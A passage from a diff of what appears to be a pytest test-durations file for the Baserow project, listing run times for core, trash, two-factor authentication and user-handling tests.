"tests/baserow/core/test_core_utils.py::test_get_value_at_path[list.*.d-expected_result11]": 0.012843417032854632, + "tests/baserow/core/test_core_utils.py::test_get_value_at_path[list.*.e-expected_result12]": 0.012685000023338944, + "tests/baserow/core/test_core_utils.py::test_get_value_at_path[list.1.d-789]": 0.012639625987503678, + "tests/baserow/core/test_core_utils.py::test_get_value_at_path[list.5.d-None]": 0.012828041013563052, + "tests/baserow/core/test_core_utils.py::test_get_value_at_path[list[1]d-789]": 0.012996706966077909, + "tests/baserow/core/test_core_utils.py::test_get_value_at_path[nested.*.nested.*.a-expected_result13]": 0.012779790995409712, + "tests/baserow/core/test_core_utils.py::test_get_value_at_path[nested.*.nested.0.a-expected_result15]": 0.012770042987540364, + "tests/baserow/core/test_core_utils.py::test_get_value_at_path[nested.*.nested.1.a-expected_result16]": 0.012651501019718125, + "tests/baserow/core/test_core_utils.py::test_get_value_at_path[nested[*].nested[*].a-expected_result14]": 0.012598667002748698, + "tests/baserow/core/test_core_utils.py::test_get_value_at_path_default": 0.012621750007383525, + "tests/baserow/core/test_core_utils.py::test_grouper": 0.01268929205252789, + "tests/baserow/core/test_core_utils.py::test_is_max_lock_exceeded_exception": 0.012576459004776552, + "tests/baserow/core/test_core_utils.py::test_mirror_dict": 0.012602292030351236, + "tests/baserow/core/test_core_utils.py::test_nested_progress": 0.015358792035840452, + "tests/baserow/core/test_core_utils.py::test_progress": 0.012863123993156478, + "tests/baserow/core/test_core_utils.py::test_progress_higher_total_than_parent": 0.012928041978739202, + "tests/baserow/core/test_core_utils.py::test_random_string": 0.012999915983527899, + "tests/baserow/core/test_core_utils.py::test_remove_duplicates": 0.012732707982650027, + "tests/baserow/core/test_core_utils.py::test_remove_invalid_surrogate_characters": 0.012715916032902896, + "tests/baserow/core/test_core_utils.py::test_remove_special_characters": 0.013185832998715341, + "tests/baserow/core/test_core_utils.py::test_safe_nonstr_sample_payloads[1]": 0.013210332981543615, + "tests/baserow/core/test_core_utils.py::test_safe_nonstr_sample_payloads[2]": 0.012639042979571968, + "tests/baserow/core/test_core_utils.py::test_safe_nonstr_sample_payloads[True]": 0.012681332969805226, + "tests/baserow/core/test_core_utils.py::test_safe_sample_payloads[-1,2]": 0.012665667018154636, + "tests/baserow/core/test_core_utils.py::test_safe_sample_payloads[-1.3]": 0.012808124971343204, + "tests/baserow/core/test_core_utils.py::test_safe_sample_payloads[1+2]": 0.012825792015064508, + "tests/baserow/core/test_core_utils.py::test_safe_sample_payloads[1,2]": 0.012735125026665628, + "tests/baserow/core/test_core_utils.py::test_safe_sample_payloads[1-2]": 0.01264550001360476, + "tests/baserow/core/test_core_utils.py::test_safe_sample_payloads[1.3]": 0.012804499972844496, + "tests/baserow/core/test_core_utils.py::test_safe_sample_payloads[19.00 %]": 0.012787415005732328, + "tests/baserow/core/test_core_utils.py::test_safe_sample_payloads[1=3]": 0.012829500017687678, + "tests/baserow/core/test_core_utils.py::test_safe_sample_payloads[1]": 0.012982249987544492, + "tests/baserow/core/test_core_utils.py::test_safe_sample_payloads[Foo Bar]": 0.012855042034061626, + "tests/baserow/core/test_core_utils.py::test_safe_sample_payloads[Foo]": 0.012938667001435533, + "tests/baserow/core/test_core_utils.py::test_safe_sample_payloads[None]": 0.01261316702584736, + "tests/baserow/core/test_core_utils.py::test_safe_sample_payloads[Test | Foo]": 0.01258908398449421, + "tests/baserow/core/test_core_utils.py::test_safe_sample_payloads[]": 0.012724626023555174, + "tests/baserow/core/test_core_utils.py::test_safe_sample_payloads[foo@example.org]": 0.012643874011700973, + "tests/baserow/core/test_core_utils.py::test_set_allowed_attrs": 0.012597958993865177, + "tests/baserow/core/test_core_utils.py::test_sha256_hash": 0.012744792038574815, + "tests/baserow/core/test_core_utils.py::test_split_comma_separated_string": 0.01275262501440011, + "tests/baserow/core/test_core_utils.py::test_stream_size": 0.012981999985640869, + "tests/baserow/core/test_core_utils.py::test_to_camel_case": 0.013513875019270927, + "tests/baserow/core/test_core_utils.py::test_to_pascal_case": 0.012671958014834672, + "tests/baserow/core/test_core_utils.py::test_to_path[.person.name.first-expected_result6]": 0.012695125042228028, + "tests/baserow/core/test_core_utils.py::test_to_path[a[0].b..c-expected_result1]": 0.01271283399546519, + "tests/baserow/core/test_core_utils.py::test_to_path[a[0].b.c-expected_result0]": 0.01280079098069109, + "tests/baserow/core/test_core_utils.py::test_to_path[a[0].b['abc'].c-expected_result4]": 0.012694208009634167, + "tests/baserow/core/test_core_utils.py::test_to_path[a[0].b[abc].c-expected_result3]": 0.012697166996076703, + "tests/baserow/core/test_core_utils.py::test_to_path[a[1 2].b.c-expected_result2]": 0.012674166966462508, + "tests/baserow/core/test_core_utils.py::test_to_path[person . name . first-expected_result8]": 0.012693041004240513, + "tests/baserow/core/test_core_utils.py::test_to_path[person name.first-expected_result7]": 0.012617708009202033, + "tests/baserow/core/test_core_utils.py::test_to_path[person.friends[0].name.last-expected_result9]": 0.012579083995660767, + "tests/baserow/core/test_core_utils.py::test_to_path[person.name.first-expected_result5]": 0.012716458993963897, + "tests/baserow/core/test_core_utils.py::test_to_snake_case": 0.012783500016666949, + "tests/baserow/core/test_core_utils.py::test_truncate_middle": 0.012834793014917523, + "tests/baserow/core/test_core_utils.py::test_unique_dicts_in_list": 0.013397624978097156, + "tests/baserow/core/test_core_utils.py::test_unused_names": 0.0126658329681959, + "tests/baserow/core/test_core_utils.py::test_unused_names_with_max_length": 0.01264420902589336, + "tests/baserow/core/test_core_utils.py::test_unused_names_with_reserved_names": 0.01267983199795708, + "tests/baserow/core/test_core_utils_cache.py::test_local_cache_get_callable_stores_return_value": 0.013996166002471, + "tests/baserow/core/test_core_utils_cache.py::test_local_cache_get_literally_stores_default": 0.017147666978416964, + "tests/baserow/core/test_core_utils_cache.py::test_local_cache_get_uses_existing_value": 0.013096834009047598, + "tests/baserow/core/test_core_utils_cache.py::test_versioned_cache_invalidation": 0.013417916023172438, + "tests/baserow/core/test_core_utils_cache.py::test_versioned_cache_invalidation_with_invalidation_key": 0.013995209010317922, + "tests/baserow/core/test_core_validators.py::test_max_length_validator_help_text": 0.012655666971113533, + "tests/baserow/core/test_core_validators.py::test_max_length_validator_validate": 0.012914959021145478, + "tests/baserow/core/test_datetime.py::test_formatted_date[2024-04-25-%Y-%m-%d-2024-04-25]": 0.012856583984103054, + "tests/baserow/core/test_datetime.py::test_formatted_date[2025-08-06T14:54:14.000356Z-%d/%m/%Y-06/08/2025]": 0.012834042019676417, + "tests/baserow/core/test_datetime.py::test_formatted_date[value0-%d/%m/%Y-25/04/2024]": 0.01285462497617118, + "tests/baserow/core/test_datetime.py::test_formatted_date[value1-%m/%d/%Y-04/25/2024]": 0.012782248988514766, + "tests/baserow/core/test_datetime.py::test_formatted_date[value2-%d/%m/%Y-25/04/2024]": 0.012674874014919624, + "tests/baserow/core/test_datetime.py::test_formatted_date[value3-%d/%m/%Y-25/04/2024]": 0.012599874986335635, + "tests/baserow/core/test_datetime.py::test_formatted_datetime[2024-04-25 03:30-%Y-%m-%d %H:%M-2024-04-25 03:30]": 0.012782083067577332, + "tests/baserow/core/test_datetime.py::test_formatted_datetime[2025-08-06T14:54:14.000356Z-%Y-%m-%d %H:%M-2025-08-06 14:54]": 0.012597290973644704, + "tests/baserow/core/test_datetime.py::test_formatted_datetime[value0-%d/%m/%Y %H:%M-25/04/2024 00:00]": 0.01273900002706796, + "tests/baserow/core/test_datetime.py::test_formatted_datetime[value1-%m/%d/%Y %H:%M-04/25/2024 03:30]": 0.012579708971315995, + "tests/baserow/core/test_datetime.py::test_formatted_datetime[value2-%d/%m/%Y %H:%M-25/04/2024 00:00]": 0.013269958988530561, + "tests/baserow/core/test_datetime.py::test_formatted_datetime[value3-%d/%m/%Y %I:%M %p-25/04/2024 10:30 AM]": 0.012569917045766488, + "tests/baserow/core/test_object_scope_types.py::test_all_scope_types_with_model_classes_are_hierarchical": 0.012779041979229078, + "tests/baserow/core/test_posthog.py::test_capture_event_action_done": 0.08925437502330169, + "tests/baserow/core/test_posthog.py::test_capture_event_if_enabled": 0.08744862501043826, + "tests/baserow/core/test_posthog.py::test_not_capture_event_if_not_enabled": 0.08761666601640172, + "tests/baserow/core/test_staff_setting_permissions.py::test_staff_setting_permission_manager_non_staff_with_allow_global_workspace_creation_disabled": 0.09239995796815492, + "tests/baserow/core/test_staff_setting_permissions.py::test_staff_setting_permission_manager_non_staff_with_allow_global_workspace_creation_enabled": 0.09263824997469783, + "tests/baserow/core/test_staff_setting_permissions.py::test_staff_setting_permission_manager_staff_with_allow_global_workspace_creation_disabled": 0.09638779200031422, + "tests/baserow/core/test_staff_setting_permissions.py::test_staff_setting_permission_manager_staff_with_allow_global_workspace_creation_enabled": 0.09375629198621027, + "tests/baserow/core/test_throttling.py::test_rate_limit_different_functions_independent_counters": 0.013187500968342647, + "tests/baserow/core/test_throttling.py::test_rate_limit_different_keys_independent_counters": 0.013152458996046335, + "tests/baserow/core/test_throttling.py::test_rate_limit_per_hour": 0.13021308297174983, + "tests/baserow/core/test_throttling.py::test_rate_limit_per_minute": 0.1274428330361843, + "tests/baserow/core/test_throttling.py::test_rate_limit_per_seconds": 0.12998858297942206, + "tests/baserow/core/test_throttling.py::test_rate_limit_throws_exception_by_default": 0.012997457990422845, + "tests/baserow/core/test_throttling.py::test_rate_limit_with_ignored_exceptions": 0.013279375969432294, + "tests/baserow/core/trash/test_trash_actions.py::test_empty_application_level_trash_action_type": 0.10595420902245678, + "tests/baserow/core/trash/test_trash_actions.py::test_empty_workspace_level_trash_action_type": 0.10052266699494794, + "tests/baserow/core/trash/test_trash_actions.py::test_restore_item_action_type": 0.10904858194408007, "tests/baserow/core/trash/test_trash_handler.py::test_a_group_marked_for_perm_deletion_no_longer_shows_up_in_trash_structure": 0.0721179909996863, "tests/baserow/core/trash/test_trash_handler.py::test_a_group_marked_for_perm_deletion_raises_a_404_when_asked_for_trash_contents": 0.0742979109963926, - "tests/baserow/core/trash/test_trash_handler.py::test_a_trash_entry_marked_for_permanent_deletion_gets_deleted_by_task": 0.19301233400074125, - "tests/baserow/core/trash/test_trash_handler.py::test_a_trash_entry_older_than_setting_gets_marked_for_permanent_deletion": 0.20088762500017765, - "tests/baserow/core/trash/test_trash_handler.py::test_a_trashed_app_shows_up_in_trash_structure": 0.17066533300021547, - "tests/baserow/core/trash/test_trash_handler.py::test_a_workspace_marked_for_perm_deletion_no_longer_shows_up_in_trash_structure": 0.16580570799942507, - "tests/baserow/core/trash/test_trash_handler.py::test_a_workspace_marked_for_perm_deletion_raises_a_404_when_asked_for_trash_contents": 0.1676807909998388, - "tests/baserow/core/trash/test_trash_handler.py::test_an_app_marked_for_perm_deletion_no_longer_shows_up_in_trash_structure": 0.17342670899961377, - "tests/baserow/core/trash/test_trash_handler.py::test_an_app_marked_for_perm_deletion_raises_a_404_when_asked_for_trash_contents": 0.16985179200037237, - "tests/baserow/core/trash/test_trash_handler.py::test_cannot_restore_a_child_before_the_parent": 0.19560104200081696, - "tests/baserow/core/trash/test_trash_handler.py::test_cant_trash_same_item_twice": 0.14945841700046003, - "tests/baserow/core/trash/test_trash_handler.py::test_cant_trash_same_row_twice": 0.1601617910000641, - "tests/baserow/core/trash/test_trash_handler.py::test_deleting_a_user_who_trashed_items_should_still_leave_those_items_trashed": 0.17447333299969614, - "tests/baserow/core/trash/test_trash_handler.py::test_perm_deleting_a_parent_with_a_trashed_child_also_cleans_up_the_child_entry": 0.40478620799967757, - "tests/baserow/core/trash/test_trash_handler.py::test_perm_deleting_a_table_with_a_trashed_row_also_cleans_up_the_row_entry": 0.24070550000033109, + "tests/baserow/core/trash/test_trash_handler.py::test_a_trash_entry_marked_for_permanent_deletion_gets_deleted_by_task": 0.1674425410456024, + "tests/baserow/core/trash/test_trash_handler.py::test_a_trash_entry_older_than_setting_gets_marked_for_permanent_deletion": 0.16371166799217463, + "tests/baserow/core/trash/test_trash_handler.py::test_a_trashed_app_shows_up_in_trash_structure": 0.12536845801514573, + "tests/baserow/core/trash/test_trash_handler.py::test_a_workspace_marked_for_perm_deletion_no_longer_shows_up_in_trash_structure": 0.11477229101001285, + "tests/baserow/core/trash/test_trash_handler.py::test_a_workspace_marked_for_perm_deletion_raises_a_404_when_asked_for_trash_contents": 0.11936637497274205, + "tests/baserow/core/trash/test_trash_handler.py::test_an_app_marked_for_perm_deletion_no_longer_shows_up_in_trash_structure": 0.12881954101612791, + "tests/baserow/core/trash/test_trash_handler.py::test_an_app_marked_for_perm_deletion_raises_a_404_when_asked_for_trash_contents": 0.12335095799062401, + "tests/baserow/core/trash/test_trash_handler.py::test_cannot_restore_a_child_before_the_parent": 0.17874804200255312, + "tests/baserow/core/trash/test_trash_handler.py::test_cant_trash_same_item_twice": 0.09800350101431832, + "tests/baserow/core/trash/test_trash_handler.py::test_cant_trash_same_row_twice": 0.13287808201857843, + "tests/baserow/core/trash/test_trash_handler.py::test_deleting_a_user_who_trashed_items_should_still_leave_those_items_trashed": 0.1482292920409236, + "tests/baserow/core/trash/test_trash_handler.py::test_perm_deleting_a_parent_with_a_trashed_child_also_cleans_up_the_child_entry": 0.47679545800201595, + "tests/baserow/core/trash/test_trash_handler.py::test_perm_deleting_a_table_with_a_trashed_row_also_cleans_up_the_row_entry": 0.29956408397993073, "tests/baserow/core/trash/test_trash_handler.py::test_perm_deleting_one_group_should_not_effect_another_trashed_group": 0.08001149499978055, - "tests/baserow/core/trash/test_trash_handler.py::test_perm_deleting_one_workspace_should_not_effect_another_trashed_workspace": 0.1775906680004482, - "tests/baserow/core/trash/test_trash_handler.py::test_permanently_delete_item_raises_operationalerror": 0.1444630829992093, - "tests/baserow/core/trash/test_trash_handler.py::test_restoring_a_trashed_item_unmarks_it_as_trashed_and_deletes_the_entry": 0.1567874580005082, - "tests/baserow/core/trash/test_trash_handler.py::test_trash_contents_are_ordered_from_newest_to_oldest_entries": 0.18964404100097454, - "tests/baserow/core/trash/test_trash_handler.py::test_trashing_an_item_creates_a_trash_entry_in_the_db_and_marks_it_as_trashed": 0.165347417000703, - "tests/baserow/core/trash/test_trash_handler.py::test_trashing_two_rows_in_different_tables_works_as_expected": 0.21190749899960792, - "tests/baserow/core/trash/test_trash_types.py::test_perm_delete_application": 0.16889245899983507, + "tests/baserow/core/trash/test_trash_handler.py::test_perm_deleting_one_workspace_should_not_effect_another_trashed_workspace": 0.14549312499002554, + "tests/baserow/core/trash/test_trash_handler.py::test_permanently_delete_item_raises_operationalerror": 0.09457412498886697, + "tests/baserow/core/trash/test_trash_handler.py::test_restoring_a_trashed_item_unmarks_it_as_trashed_and_deletes_the_entry": 0.11571845898288302, + "tests/baserow/core/trash/test_trash_handler.py::test_trash_contents_are_ordered_from_newest_to_oldest_entries": 0.156009541999083, + "tests/baserow/core/trash/test_trash_handler.py::test_trashing_an_item_creates_a_trash_entry_in_the_db_and_marks_it_as_trashed": 0.1199339579907246, + "tests/baserow/core/trash/test_trash_handler.py::test_trashing_two_rows_in_different_tables_works_as_expected": 0.22364687503431924, + "tests/baserow/core/trash/test_trash_types.py::test_perm_delete_application": 0.14913149899803102, "tests/baserow/core/trash/test_trash_types.py::test_perm_delete_group": 0.1459242689961684, - "tests/baserow/core/trash/test_trash_types.py::test_perm_delete_workspace": 0.3154426249993776, - "tests/baserow/core/user/test_user_actions.py::test_cancel_user_deletion_action_type": 0.14781308399960835, - "tests/baserow/core/user/test_user_actions.py::test_change_user_password_action_type": 0.5329521260000547, - "tests/baserow/core/user/test_user_actions.py::test_create_user_action_type": 0.14550774899998942, - "tests/baserow/core/user/test_user_actions.py::test_reset_user_password_action_type": 0.4082532500005982, - "tests/baserow/core/user/test_user_actions.py::test_schedule_user_deletion_action_type": 0.14724729300087347, - "tests/baserow/core/user/test_user_actions.py::test_send_reset_user_password_action_type": 0.3066469169998527, - "tests/baserow/core/user/test_user_actions.py::test_sign_in_user_action_type": 0.2076846249992741, - "tests/baserow/core/user/test_user_actions.py::test_update_user_action_type": 0.14322504199935793, - "tests/baserow/core/user/test_user_handler.py::test_active_users_qs_excludes_deactivated_users": 0.2763199579994762, - "tests/baserow/core/user/test_user_handler.py::test_active_users_qs_excludes_pending_deletion_users": 0.2792152089996307, - "tests/baserow/core/user/test_user_handler.py::test_blacklist_refresh_token": 0.14377020899974013, - "tests/baserow/core/user/test_user_handler.py::test_cancel_user_deletion": 0.3186871659991084, - "tests/baserow/core/user/test_user_handler.py::test_change_password": 0.8309711250003602, - "tests/baserow/core/user/test_user_handler.py::test_change_password_invalid_new_password[984kds]": 0.409357500000624, - "tests/baserow/core/user/test_user_handler.py::test_change_password_invalid_new_password[Bgvmt95en6HGJZ9Xz0F8xysQ6eYgo2Y54YzRPxxv10b5n16F4rZ6YH4ulonocwiFK6970KiAxoYhULYA3JFDPIQGj5gMZZl25M46sO810Zd3nyBg699a2TDMJdHG7hAAi0YeDnuHuabyBawnb4962OQ1OOf1MxzFyNWG7NR2X6MZQL5G1V61x56lQTXbvK1AG1IPM87bQ3YAtIBtGT2vK3Wd83q3he5ezMtUfzK2ibj0WWhf86DyQB4EHRUJjYcBiI78iEJv5hcu33X2I345YosO66cTBWK45SqJEDudrCOq]": 0.407776792999357, - "tests/baserow/core/user/test_user_handler.py::test_change_password_invalid_new_password[]": 0.41283145799934573, - "tests/baserow/core/user/test_user_handler.py::test_change_password_invalid_new_password[a]": 0.4183351669998956, - "tests/baserow/core/user/test_user_handler.py::test_change_password_invalid_new_password[ab]": 0.4125194170001123, - "tests/baserow/core/user/test_user_handler.py::test_change_password_invalid_new_password[ask]": 0.41064950000054523, - "tests/baserow/core/user/test_user_handler.py::test_change_password_invalid_new_password[dsfkjh4]": 0.4094381249997241, - "tests/baserow/core/user/test_user_handler.py::test_change_password_invalid_new_password[dsj43]": 0.41106587600006605, - "tests/baserow/core/user/test_user_handler.py::test_change_password_invalid_new_password[oiue]": 0.41010158300105104, - "tests/baserow/core/user/test_user_handler.py::test_create_email_verification_token": 0.29447845999948186, - "tests/baserow/core/user/test_user_handler.py::test_create_user": 0.14546154199979355, - "tests/baserow/core/user/test_user_handler.py::test_create_user_invalid_password[984kds]": 0.009765667000465328, - "tests/baserow/core/user/test_user_handler.py::test_create_user_invalid_password[Bgvmt95en6HGJZ9Xz0F8xysQ6eYgo2Y54YzRPxxv10b5n16F4rZ6YH4ulonocwiFK6970KiAxoYhULYA3JFDPIQGj5gMZZl25M46sO810Zd3nyBg699a2TDMJdHG7hAAi0YeDnuHuabyBawnb4962OQ1OOf1MxzFyNWG7NR2X6MZQL5G1V61x56lQTXbvK1AG1IPM87bQ3YAtIBtGT2vK3Wd83q3he5ezMtUfzK2ibj0WWhf86DyQB4EHRUJjYcBiI78iEJv5hcu33X2I345YosO66cTBWK45SqJEDudrCOq]": 0.009508207999715523, - "tests/baserow/core/user/test_user_handler.py::test_create_user_invalid_password[]": 0.010495708000235027, - "tests/baserow/core/user/test_user_handler.py::test_create_user_invalid_password[a]": 0.009438833000785962, - "tests/baserow/core/user/test_user_handler.py::test_create_user_invalid_password[ab]": 0.009500666999883833, - "tests/baserow/core/user/test_user_handler.py::test_create_user_invalid_password[ask]": 0.009644500000831613, - "tests/baserow/core/user/test_user_handler.py::test_create_user_invalid_password[dsfkjh4]": 0.010244083000543469, - "tests/baserow/core/user/test_user_handler.py::test_create_user_invalid_password[dsj43]": 0.010148792000109097, - "tests/baserow/core/user/test_user_handler.py::test_create_user_invalid_password[oiue]": 0.010191000000304484, - "tests/baserow/core/user/test_user_handler.py::test_create_user_with_invitation": 0.295101792999958, - "tests/baserow/core/user/test_user_handler.py::test_create_user_with_template": 0.2260420009997688, - "tests/baserow/core/user/test_user_handler.py::test_create_user_with_template_different_language": 0.23105537599894888, + "tests/baserow/core/trash/test_trash_types.py::test_perm_delete_workspace": 0.2660017489688471, + "tests/baserow/core/two_factor_auth/test_two_factor_handler.py::test_configure_provider_not_allowed": 0.09007358300732449, + "tests/baserow/core/two_factor_auth/test_two_factor_handler.py::test_configure_provider_totp": 0.09699583402834833, + "tests/baserow/core/two_factor_auth/test_two_factor_handler.py::test_configure_provider_type_doesnt_exist": 0.08640212399768643, + "tests/baserow/core/two_factor_auth/test_two_factor_handler.py::test_disable": 0.17579683303483762, + "tests/baserow/core/two_factor_auth/test_two_factor_handler.py::test_disable_not_configured": 0.16045583301456645, + "tests/baserow/core/two_factor_auth/test_two_factor_handler.py::test_disable_wrong_password": 0.15746362498612143, + "tests/baserow/core/two_factor_auth/test_two_factor_handler.py::test_get_provider": 0.1047547490161378, + "tests/baserow/core/two_factor_auth/test_two_factor_handler.py::test_get_provider_doesnt_exist": 0.0886342499870807, + "tests/baserow/core/two_factor_auth/test_two_factor_handler.py::test_get_provider_for_update": 0.3508535400032997, + "tests/baserow/core/two_factor_auth/test_two_factor_handler.py::test_get_provider_for_update_doesnt_exist": 0.08634108302067034, + "tests/baserow/core/two_factor_auth/test_two_factor_handler.py::test_get_provider_partially_configured": 0.09724479197757319, + "tests/baserow/core/two_factor_auth/test_two_factor_handler.py::test_verify": 0.09682808298384771, + "tests/baserow/core/two_factor_auth/test_two_factor_handler.py::test_verify_no_provider": 0.017670458008069545, + "tests/baserow/core/two_factor_auth/test_two_factor_handler.py::test_verify_type_doesnt_exist": 0.01708824999514036, + "tests/baserow/core/two_factor_auth/test_two_factor_registries.py::test_generate_backup_codes": 0.018835165014024824, + "tests/baserow/core/two_factor_auth/test_two_factor_registries.py::test_store_backup_codes": 0.10043566700187512, + "tests/baserow/core/two_factor_auth/test_two_factor_registries.py::test_totp_configure_already_configured": 0.09964275002130307, + "tests/baserow/core/two_factor_auth/test_two_factor_registries.py::test_totp_configure_finish_configuration": 0.09783191699534655, + "tests/baserow/core/two_factor_auth/test_two_factor_registries.py::test_totp_configure_finish_configuration_failed": 0.09548696002457291, + "tests/baserow/core/two_factor_auth/test_two_factor_registries.py::test_totp_configure_finish_configuration_secret_expired": 0.14384062497993, + "tests/baserow/core/two_factor_auth/test_two_factor_registries.py::test_totp_configure_from_scratch": 0.10768587497295812, + "tests/baserow/core/two_factor_auth/test_two_factor_registries.py::test_totp_disable": 0.10320545799913816, + "tests/baserow/core/two_factor_auth/test_two_factor_registries.py::test_verify_no_provider": 0.09086949995253235, + "tests/baserow/core/two_factor_auth/test_two_factor_registries.py::test_verify_with_backup_code": 0.10570308403111994, + "tests/baserow/core/two_factor_auth/test_two_factor_registries.py::test_verify_with_backup_code_fails": 0.09988591601722874, + "tests/baserow/core/two_factor_auth/test_two_factor_registries.py::test_verify_with_code": 0.10775991700938903, + "tests/baserow/core/two_factor_auth/test_two_factor_registries.py::test_verify_with_code_fails": 0.10801016699406318, + "tests/baserow/core/user/test_user_actions.py::test_cancel_user_deletion_action_type": 0.096565959014697, + "tests/baserow/core/user/test_user_actions.py::test_change_user_password_action_type": 0.29736437601968646, + "tests/baserow/core/user/test_user_actions.py::test_create_user_action_type": 0.09718879198771901, + "tests/baserow/core/user/test_user_actions.py::test_reset_user_password_action_type": 0.2285377509542741, + "tests/baserow/core/user/test_user_actions.py::test_schedule_user_deletion_action_type": 0.09557979201781563, + "tests/baserow/core/user/test_user_actions.py::test_send_reset_user_password_action_type": 0.33246454200707376, + "tests/baserow/core/user/test_user_actions.py::test_sign_in_user_action_type": 0.17492912398301996, + "tests/baserow/core/user/test_user_actions.py::test_sign_in_user_action_type_action_log_limit": 0.4119014589814469, + "tests/baserow/core/user/test_user_actions.py::test_update_user_action_type": 0.08968591701705009, + "tests/baserow/core/user/test_user_handler.py::test_active_users_qs_excludes_deactivated_users": 0.1687079179682769, + "tests/baserow/core/user/test_user_handler.py::test_active_users_qs_excludes_pending_deletion_users": 0.16052104299888015, + "tests/baserow/core/user/test_user_handler.py::test_blacklist_refresh_token": 0.08901970801525749, + "tests/baserow/core/user/test_user_handler.py::test_cancel_user_deletion": 0.3320272080018185, + "tests/baserow/core/user/test_user_handler.py::test_change_password": 0.4548974590143189, + "tests/baserow/core/user/test_user_handler.py::test_change_password_invalid_new_password[984kds]": 0.23705162401893176, + "tests/baserow/core/user/test_user_handler.py::test_change_password_invalid_new_password[Bgvmt95en6HGJZ9Xz0F8xysQ6eYgo2Y54YzRPxxv10b5n16F4rZ6YH4ulonocwiFK6970KiAxoYhULYA3JFDPIQGj5gMZZl25M46sO810Zd3nyBg699a2TDMJdHG7hAAi0YeDnuHuabyBawnb4962OQ1OOf1MxzFyNWG7NR2X6MZQL5G1V61x56lQTXbvK1AG1IPM87bQ3YAtIBtGT2vK3Wd83q3he5ezMtUfzK2ibj0WWhf86DyQB4EHRUJjYcBiI78iEJv5hcu33X2I345YosO66cTBWK45SqJEDudrCOq]": 0.22987008400377817, + "tests/baserow/core/user/test_user_handler.py::test_change_password_invalid_new_password[]": 0.2231435839785263, + "tests/baserow/core/user/test_user_handler.py::test_change_password_invalid_new_password[a]": 0.22437049998552538, + "tests/baserow/core/user/test_user_handler.py::test_change_password_invalid_new_password[ab]": 0.2264451669761911, + "tests/baserow/core/user/test_user_handler.py::test_change_password_invalid_new_password[ask]": 0.22925812500761822, + "tests/baserow/core/user/test_user_handler.py::test_change_password_invalid_new_password[dsfkjh4]": 0.2342029160063248, + "tests/baserow/core/user/test_user_handler.py::test_change_password_invalid_new_password[dsj43]": 0.2213660010311287, + "tests/baserow/core/user/test_user_handler.py::test_change_password_invalid_new_password[oiue]": 0.22506375002558343, + "tests/baserow/core/user/test_user_handler.py::test_create_email_verification_token": 0.18331625100108795, + "tests/baserow/core/user/test_user_handler.py::test_create_user": 0.10886095903697424, + "tests/baserow/core/user/test_user_handler.py::test_create_user_invalid_password[984kds]": 0.017668957967543975, + "tests/baserow/core/user/test_user_handler.py::test_create_user_invalid_password[Bgvmt95en6HGJZ9Xz0F8xysQ6eYgo2Y54YzRPxxv10b5n16F4rZ6YH4ulonocwiFK6970KiAxoYhULYA3JFDPIQGj5gMZZl25M46sO810Zd3nyBg699a2TDMJdHG7hAAi0YeDnuHuabyBawnb4962OQ1OOf1MxzFyNWG7NR2X6MZQL5G1V61x56lQTXbvK1AG1IPM87bQ3YAtIBtGT2vK3Wd83q3he5ezMtUfzK2ibj0WWhf86DyQB4EHRUJjYcBiI78iEJv5hcu33X2I345YosO66cTBWK45SqJEDudrCOq]": 0.017771582963177934, + "tests/baserow/core/user/test_user_handler.py::test_create_user_invalid_password[]": 0.019427541992627084, + "tests/baserow/core/user/test_user_handler.py::test_create_user_invalid_password[a]": 0.018198167032096535, + "tests/baserow/core/user/test_user_handler.py::test_create_user_invalid_password[ab]": 0.018558417010353878, + "tests/baserow/core/user/test_user_handler.py::test_create_user_invalid_password[ask]": 0.018614416010677814, + "tests/baserow/core/user/test_user_handler.py::test_create_user_invalid_password[dsfkjh4]": 0.019214917963836342, + "tests/baserow/core/user/test_user_handler.py::test_create_user_invalid_password[dsj43]": 0.01780683296965435, + "tests/baserow/core/user/test_user_handler.py::test_create_user_invalid_password[oiue]": 0.017618332989513874, + "tests/baserow/core/user/test_user_handler.py::test_create_user_with_invitation": 0.19240312403417192, + "tests/baserow/core/user/test_user_handler.py::test_create_user_with_template": 0.18065837500034831, + "tests/baserow/core/user/test_user_handler.py::test_create_user_with_template_different_language": 0.18489750000298955, "tests/baserow/core/user/test_user_handler.py::test_delete_expired_user": 0.6293735339968407, - "tests/baserow/core/user/test_user_handler.py::test_delete_expired_users_and_related_workspaces_if_last_admin": 1.1408874179996928, - "tests/baserow/core/user/test_user_handler.py::test_duplicate_blacklist_refresh_token": 0.011294833000647486, - "tests/baserow/core/user/test_user_handler.py::test_first_ever_created_user_is_staff": 0.2781230019991199, - "tests/baserow/core/user/test_user_handler.py::test_get_user": 0.14230425000005198, - "tests/baserow/core/user/test_user_handler.py::test_refresh_token_is_blacklisted": 0.010896709000007831, - "tests/baserow/core/user/test_user_handler.py::test_reset_password": 0.49994654199963406, - "tests/baserow/core/user/test_user_handler.py::test_reset_password_invalid_new_password[984kds]": 0.14762379200055875, - "tests/baserow/core/user/test_user_handler.py::test_reset_password_invalid_new_password[Bgvmt95en6HGJZ9Xz0F8xysQ6eYgo2Y54YzRPxxv10b5n16F4rZ6YH4ulonocwiFK6970KiAxoYhULYA3JFDPIQGj5gMZZl25M46sO810Zd3nyBg699a2TDMJdHG7hAAi0YeDnuHuabyBawnb4962OQ1OOf1MxzFyNWG7NR2X6MZQL5G1V61x56lQTXbvK1AG1IPM87bQ3YAtIBtGT2vK3Wd83q3he5ezMtUfzK2ibj0WWhf86DyQB4EHRUJjYcBiI78iEJv5hcu33X2I345YosO66cTBWK45SqJEDudrCOq]": 0.14750375099993107, - "tests/baserow/core/user/test_user_handler.py::test_reset_password_invalid_new_password[]": 0.1465459599994574, - "tests/baserow/core/user/test_user_handler.py::test_reset_password_invalid_new_password[a]": 0.15261362499950337, - "tests/baserow/core/user/test_user_handler.py::test_reset_password_invalid_new_password[ab]": 0.15417254100066202, - "tests/baserow/core/user/test_user_handler.py::test_reset_password_invalid_new_password[ask]": 0.1542358749993582, - "tests/baserow/core/user/test_user_handler.py::test_reset_password_invalid_new_password[dsfkjh4]": 0.14814920799926767, - "tests/baserow/core/user/test_user_handler.py::test_reset_password_invalid_new_password[dsj43]": 0.14833366700077022, - "tests/baserow/core/user/test_user_handler.py::test_reset_password_invalid_new_password[oiue]": 0.16302975100006734, - "tests/baserow/core/user/test_user_handler.py::test_reset_password_reset_password_disabled": 0.14920091700059857, - "tests/baserow/core/user/test_user_handler.py::test_schedule_user_deletion": 0.43886325000039506, - "tests/baserow/core/user/test_user_handler.py::test_send_email_pending_verification": 0.30573633299991343, - "tests/baserow/core/user/test_user_handler.py::test_send_email_pending_verification_already_verified": 0.16552941600002669, - 